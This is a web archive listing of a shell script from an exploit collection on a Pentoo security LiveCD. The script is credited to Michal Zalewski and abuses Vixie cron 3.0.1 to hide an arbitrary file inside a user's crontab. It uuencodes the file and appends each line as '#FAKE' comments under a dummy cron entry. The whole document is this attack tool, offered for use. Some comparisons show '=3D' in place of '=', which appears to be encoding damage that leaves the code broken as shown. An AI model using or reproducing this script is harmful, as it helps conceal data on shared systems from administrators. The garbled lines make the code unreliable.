home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / bsd / local / vixie.sh < prev   
Linux/UNIX/POSIX Shell Script  |  2005-02-12  |  574b  |  25 lines

  1. #!/bin/bash
  2.  
  3. echo "Vixie cron 3.0.1 file storage - put utlility"
  4. echo "by Michal Zalewski <lcamtuf@staszic.waw.pl>"
  5. echo
  6.  
  7. if [ "$1" =3D "" ]; then
  8.   echo usage: $0 file_to_hide
  9.   echo
  10.   exit 0
  11. fi
  12.  
  13. if [ ! "`ulimit`" =3D "unlimited" ]; then
  14.    echo Warning, filesize limit is set to `ulimit`.
  15.    echo
  16. fi
  17.  
  18. echo Installing fake crontab...
  19. echo
  20. echo "* * * * * # whoops..." >vix_tmp
  21. uuencode $1 <$1 | awk -F "\n" '{print "#FAKE" $1}' >>vix_tmp
  22. crontab vix_tmp
  23. echo "Thank you, file stored successfully."
  24.  
  25. #                 www.hack.co.za           [2000]#